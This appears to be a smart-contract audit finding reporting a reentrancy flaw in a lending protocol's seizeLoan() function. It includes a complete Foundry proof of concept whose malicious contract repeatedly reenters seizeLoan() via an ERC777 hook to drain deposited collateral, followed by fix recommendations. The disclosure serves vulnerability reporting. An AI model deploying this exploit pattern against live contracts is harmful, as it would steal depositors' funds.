20,000 USDC
View results
Submission Details
Severity: medium
Valid

Reentrancy in `seizeLoan()` allows the attacker to steal the tokens from the protocol

Summary

The seizeLoan method of the Lender contract allows anyone to seize the loan which auction has failed. The collateral for that loan is transferred to the lender and the debt is cancelled. The problem is that the state of the pool from which the loan has been taken is updated after the external transfer call. This creates an opportunity for reentrancy attack which can be used by an attacker to steal the tokens from the Lender contract, given that the token transfers the control to the receiver.

Vulnerability Details

Scenario

Please consider the following scenario:

  1. The attacker observes that there is currently 1 million TKN deposited in the protocol, and that the TKN is a token that transfers the control to the receiver upon transfer (for example, some ERC777 token).

  2. The attacker creates their own pool with TKN as collateralToken with minimal deposit and the auction length of 1 second.

  3. The attacker creates a borrow from their own pool, depositing all of their TKNs as a collateral.

  4. The attacker immediately puts his loan at an auction. Given that the auction time is one second, it will expire before anyone would be able to buy it (it's almost impossible for anyone to buy the loan from an auction in the same block as the auction started).

  5. Attacker calls seizeLoan() through their malicious contract, which exploits the reentrancy vulnerability and drains the TKN from the protocol. For each reentrancy round, the attacker has the create an additional dummy borrow from their own pool, in order for the outstandingLoans update at the end of seizeLoan() method not to underflow (see POC section for more details).

  6. Attacker has successfully stolen all the TKNs from the contract (minus fees).

POC

The code below demonstrates the described attack vector. Save it as a .t.sol file under test/ folder (for example, /test/ExploitSeizeLoanReentrancy.t.sol), and run it with the following command: forge test --match-test testAttackerDrainsCollateralBalanceExploitingReentrancyInSeizeLoan.

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Test, console} from "forge-std/Test.sol";
import {ERC777, IERC1820Registry} from "lib/openzeppelin-contracts/contracts/token/ERC777/ERC777.sol";
import {ERC20Mock} from "lib/openzeppelin-contracts/contracts/mocks/ERC20Mock.sol";
import {Lender} from "../src/Lender.sol";
import {Pool, Borrow} from "../src/utils/Structs.sol";
/**
* @dev ERC777 Mock, used for proving reentrancy
*/
contract TestToken is ERC777 {
constructor() ERC777("test", "t", new address[](0)) {}
function mint(address account, uint256 amount, bytes memory userData, bytes memory operatorData) public {
_mint(account, amount, userData, operatorData, true);
}
}
/**
* @dev Contract that the attacker will use to interact with Beedle protocol
* @notice Exploits reentrancy vulnerability
*/
contract MaliciousContract {
address private immutable REGISTRY = 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24; /* Address of IERC1820 Registry */
address private immutable i_owner; /* Owner address */
address private immutable i_lender; /* Beedle's Lender contract address */
address private immutable i_token; /* The borrowToken (ERC777) */
uint256 private s_reentrancyRound; /* Reentrancy rounds counter */
bytes32 private s_poolId; /* The ID of attacker's pool */
uint256[] private s_loanIds; /* Helper array as Lender contract requires arrays as method parameters */
Borrow[] private s_currentBorrows; /* Helper array as Lender contract requires arrays as method parameters */
constructor(address _lender, address _token, uint256 _amount) {
i_owner = msg.sender;
i_lender = _lender;
i_token = _token;
/* Set IERC1820 implementer to receive hook on ERC777 token received */
IERC1820Registry(REGISTRY).setInterfaceImplementer(
address(this), keccak256("ERC777TokensRecipient"), address(this)
);
/* Approve the Lender contract to spend the tokens */
ERC777(i_token).approve(i_lender, _amount);
}
modifier onlyOwner() {
require(msg.sender == i_owner, "Not an owner!");
_;
}
/**
* @dev Creates a pool on behalf of the attacker
*/
function setPool(Pool memory p) external onlyOwner returns (bytes32 poolId) {
ERC20Mock(p.loanToken).approve(i_lender, p.poolBalance);
poolId = Lender(i_lender).setPool(p);
s_poolId = poolId;
}
/**
* @dev Starts an (fradulent) auction of the attacker's pool
*/
function startAuction(uint256[] calldata loanIds) external onlyOwner {
Lender(i_lender).startAuction(loanIds);
}
/**
* @dev Seizes the attacker's loan
*/
function seizeLoan(uint256[] calldata loanIds) external onlyOwner {
s_loanIds = loanIds;
Lender(i_lender).seizeLoan(loanIds); /* Triggers reentrancy calls chain */
ERC777(i_token).transfer(i_owner, ERC777(i_token).balanceOf(address(this))); /* After all reentrancy rounds, send all the tokens back to attacker*/
}
/**
* @dev ERC777 hook on receiving tokens
* @notice Will be called multiple times due to reentrancy in the Lender.seizeLoan()
*/
function tokensReceived(address payable, address, address, uint256, bytes calldata, bytes calldata) external {
++s_reentrancyRound;
/* We are skipping round 0 - this is an initial transfer; 341 round is the last one when there's enough tokens in the pool to steal */
while (s_reentrancyRound > 1 && s_reentrancyRound <= 341) {
/* Creating dummy borrow from the attacker's pool so that the outstandingLoans decrementation will not underflow.
For the sake of simplicity we are ignoring those marginal deposits in this POC, but those can be retrieved by seizing as well*/
Borrow memory borrow = Borrow({poolId: s_poolId, debt: 1, collateral: 1});
if (s_currentBorrows.length == 0) {
s_currentBorrows.push(borrow);
} else {
s_currentBorrows[0] = borrow;
}
Lender(i_lender).borrow(s_currentBorrows);
/* Reentering Lender.seizeLoan() method, before the loan state will be updated, to steal more tokens */
Lender(i_lender).seizeLoan(s_loanIds);
}
}
}
contract ExploitSetPoolReentrancy is Test {
address private constant REGISTRY_ADDRESS = 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24;
bytes private constant REGISTRY_BYTECODE = bytes(
hex"608060405234801561001057600080fd5b50600436106100a5576000357c010000000000000000000000000000000000000000000000000000000090048063a41e7d5111610078578063a41e7d51146101d4578063aabbb8ca1461020a578063b705676514610236578063f712f3e814610280576100a5565b806329965a1d146100aa5780633d584063146100e25780635df8122f1461012457806365ba36c114610152575b600080fd5b6100e0600480360360608110156100c057600080fd5b50600160a060020a038135811691602081013591604090910135166102b6565b005b610108600480360360208110156100f857600080fd5b5035600160a060020a0316610570565b60408051600160a060020a039092168252519081900360200190f35b6100e06004803603604081101561013a57600080fd5b50600160a060020a03813581169160200135166105bc565b6101c26004803603602081101561016857600080fd5b81019060208101813564010000000081111561018357600080fd5b82018360208201111561019557600080fd5b803590602001918460018302840111640100000000831117156101b757600080fd5b5090925090506106b3565b60408051918252519081900360200190f35b6100e0600480360360408110156101ea57600080fd5b508035600160a060020a03169060200135600160e060020a0319166106ee565b6101086004803603604081101561022057600080fd5b50600160a060020a038135169060200135610778565b61026c6004803603604081101561024c57600080fd5b508035600160a060020a03169060200135600160e060020a0319166107ef565b604080519115158252519081900360200190f35b61026c6004803603604081101561029657600080fd5b508035600160a060020a03169060200135600160e060020a0319166108aa565b6000600160a060020a038416156102cd57836102cf565b335b9050336102db82610570565b600160a060020a031614610339576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b6103428361092a565b15610397576040805160e560020a62461bcd02815260206004820152601a60248201527f4d757374206e6f7420626520616e204552433136352068617368000000000000604482015290519081900360640190fd5b600160a060020a038216158015906103b85750600160a060020a0382163314155b156104ff5760405160200180807f455243313832305f4143434550545f4d4147494300000000000000000000000081525060140190506040516020818303038152906040528051906020012082600160a060020a031663249cb3fa85846040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182600160a060020a0316600160a060020a031681526020019250505060206040518083038186803b15801561047e57600080fd5b505afa158015610492573d6000803e3d6000fd5b505050506040513d60208110156104a857600080fd5b5051146104ff576040805160e560020a62461bcd02815260206004820181905260248201527f446f6573206e6f7420696d706c656d656e742074686520696e74657266616365604482015290519081900360640190fd5b600160a060020a03818116600081815260208181526040808320888452909152808220805473ffffffffffffffffffffffffffffffffffffffff19169487169485179055518692917f93baa6efbd2244243bfee6ce4cfdd1d04fc4c0e9a786abd3a41313bd352db15391a450505050565b600160a060020a03818116600090815260016020526040812054909116151561059a5750806105b7565b50600160a060020a03808216600090815260016020526040902054165b919050565b336105c683610570565b600160a060020a031614610624576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b81600160a060020a031681600160a060020a0316146106435780610646565b60005b600160a060020a03838116600081815260016020526040808220805473ffffffffffffffffffffffffffffffffffffffff19169585169590951790945592519184169290917f605c2dbf762e5f7d60a546d42e7205dcb1b011ebc62a61736a57c9089d3a43509190a35050565b600082826040516020018083838082843780830192505050925050506040516020818303038152906040528051906020012090505b92915050565b6106f882826107ef565b610703576000610705565b815b600160a060020a03928316600081815260208181526040808320600160e060020a031996909616808452958252808320805473ffffffffffffffffffffffffffffffffffffffff19169590971694909417909555908152600284528181209281529190925220805460ff19166001179055565b600080600160a060020a038416156107905783610792565b335b905061079d8361092a565b156107c357826107ad82826108aa565b6107b85760006107ba565b815b925050506106e8565b600160a060020a0390811660009081526020818152604080832086845290915290205416905092915050565b6000808061081d857f01ffc9a70000000000000000000000000000000000000000000000000000000061094c565b909250905081158061082d575080155b1561083d576000925050506106e8565b61084f85600160e060020a031961094c565b909250905081158061086057508015155b15610870576000925050506106e8565b61087a858561094c565b909250905060018214801561088f5750806001145b1561089f576001925050506106e8565b506000949350505050565b600160a060020a0382166000908152600260209081526040808320600160e060020a03198516845290915281205460ff1615156108f2576108eb83836107ef565b90506106e8565b50600160a060020a03808316600081815260208181526040808320600160e060020a0319871684529091529020549091161492915050565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff161590565b6040517f01ffc9a7000000000000000000000000000000000000000000000000000000008082526004820183905260009182919060208160248189617530fa90519096909550935050505056fea165627a7a72305820377f4a2d4301ede9949f163f319021a6e9c687c292a5e2b2c4734c126b524e6c0029"
);
uint256 private constant WHALE_DEPOSIT = 1_000_000 ether;
uint256 private constant ATTACKER_DEPOSIT = 1_001 ether; /* Additional 1 ether for dummy borrows */
uint256 private constant EXPECTED_ENDING_BALANCE = 339295999999999999999660; /* Attackers deposit + whale's deposit - fees - marginal deposits for dummy borrows*/
TestToken private borrowToken;
ERC20Mock private lendToken;
Lender private lender;
MaliciousContract maliciousContract;
address private whaleLender = makeAddr("whaleLender");
address private whaleBorrower = makeAddr("whaleBorrower");
address private attacker = makeAddr("attacker");
Borrow[] borrowsList1;
Borrow[] borrowsList2;
uint256[] loanIds;
function setUp() external {
/* Mock the ERC1820Registry */
vm.etch(REGISTRY_ADDRESS, REGISTRY_BYTECODE);
/* Deploy Lender singleton, token mocks and malicious contract */
lender = new Lender();
borrowToken = new TestToken();
lendToken = new ERC20Mock();
vm.prank(attacker);
maliciousContract = new MaliciousContract(address(lender), address(borrowToken), ATTACKER_DEPOSIT);
/* Mint tokens for the POC actors */
lendToken.mint(whaleLender, WHALE_DEPOSIT);
lendToken.mint(attacker, ATTACKER_DEPOSIT);
borrowToken.mint(whaleBorrower, WHALE_DEPOSIT, "", "");
borrowToken.mint(attacker, ATTACKER_DEPOSIT, "", "");
/* Token approvals for Lender contract */
vm.prank(whaleLender);
lendToken.approve(address(lender), 100 ether);
vm.prank(whaleBorrower);
borrowToken.approve(address(lender), WHALE_DEPOSIT);
vm.startPrank(attacker);
lendToken.approve(address(lender), 1);
borrowToken.approve(address(lender), ATTACKER_DEPOSIT);
vm.stopPrank();
/* Whale lender creates a pool */
Pool memory whalesPool = Pool({
lender: whaleLender,
loanToken: address(lendToken),
collateralToken: address(borrowToken),
minLoanSize: 10 ether,
poolBalance: 100 ether,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
vm.prank(whaleLender);
bytes32 poolId = lender.setPool(whalesPool);
/* Whale borrower borrows from the pool, sending 1_000_000 borrowToken to the protocol */
Borrow memory borrow = Borrow({poolId: poolId, debt: 10 ether, collateral: WHALE_DEPOSIT});
borrowsList1.push(borrow);
vm.prank(whaleBorrower);
lender.borrow(borrowsList1);
/* Current status - there is 1_000_000 borrowToken in the protocol
and attacker owns 1_001 borrowToken */
assertEq(borrowToken.balanceOf(address(lender)), WHALE_DEPOSIT);
assertEq(borrowToken.balanceOf(attacker), ATTACKER_DEPOSIT);
}
function testAttackerDrainsCollateralBalanceExploitingReentrancyInSeizeLoan() external {
/* 1. Attacker notices that there is currently 1_000_000 of some ERC777 token in the protocol (as collateral or in the lending pools, doesn't matter).
He funds his maliciousContract with some tokens */
vm.startPrank(attacker);
lendToken.transfer(address(maliciousContract), ATTACKER_DEPOSIT);
borrowToken.transfer(address(maliciousContract), 1 ether);
/* 2. Attacker creates a pool through maliciousContract with ERC777 token as a collateral (lendToken can be anything) */
Pool memory attackersPool = Pool({
lender: address(maliciousContract),
loanToken: address(lendToken),
collateralToken: address(borrowToken),
minLoanSize: 1,
poolBalance: 1 ether,
maxLoanRatio: type(uint256).max,
auctionLength: 1 seconds,
interestRate: 1,
outstandingLoans: 0
});
bytes32 attackerPoolId = maliciousContract.setPool(attackersPool);
/* 3. Attacker creates a borrow from his own pool, depositing all ERC777 into it as collateral, with auction length
smaller than the time between two blocks (so that the auction would expire before anyone will be able to buy it) */
Borrow memory borrow = Borrow({poolId: attackerPoolId, debt: 1, collateral: 1_000 ether});
borrowsList2.push(borrow);
lender.borrow(borrowsList2);
loanIds.push(1);
/* 4. Attacker immedietaly starts an auction of his loan and waits 1 block. The auction will finish after 1 second,
meaning no one will be able to participate in it (it's impossible to buy the loan in the same block as the
auction starts) */
maliciousContract.startAuction(loanIds);
vm.warp(block.timestamp + 13 seconds);
/* 5. Attacker calls seizeLoan() through maliciousContract, redeeming the collateral (minus fees) */
maliciousContract.seizeLoan(loanIds);
/* 6. Attacker reenters the seizeLoan method over and over again, draining the ERC777 token. For all the
reentrancy rounds he creates an additional small dummy borrow from his pool, so that the outstandingLoans
decrementation will not revert. See - maliciousContract's code */
vm.stopPrank();
/* 7. Profit. Attacker has stolen all the ERC777 from the contract (minus fees and his dummy borrows collateral
which is ignored in this POC for the sake of simplicity) */
uint256 endingAttackerBalance = borrowToken.balanceOf(attacker);
assertEq(endingAttackerBalance, EXPECTED_ENDING_BALANCE);
}
}

Impact

If a control-transferring token is deposited in the Lender contract (ERC777 token for example), it can be stolen by the attacker.

Tools Used

Manual Review

Recommendations

Execute all the state modifications in seizeLoan() method before external calls and utilize the OpenZeppelin ReentrancyGuard to patch the vulnerability.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.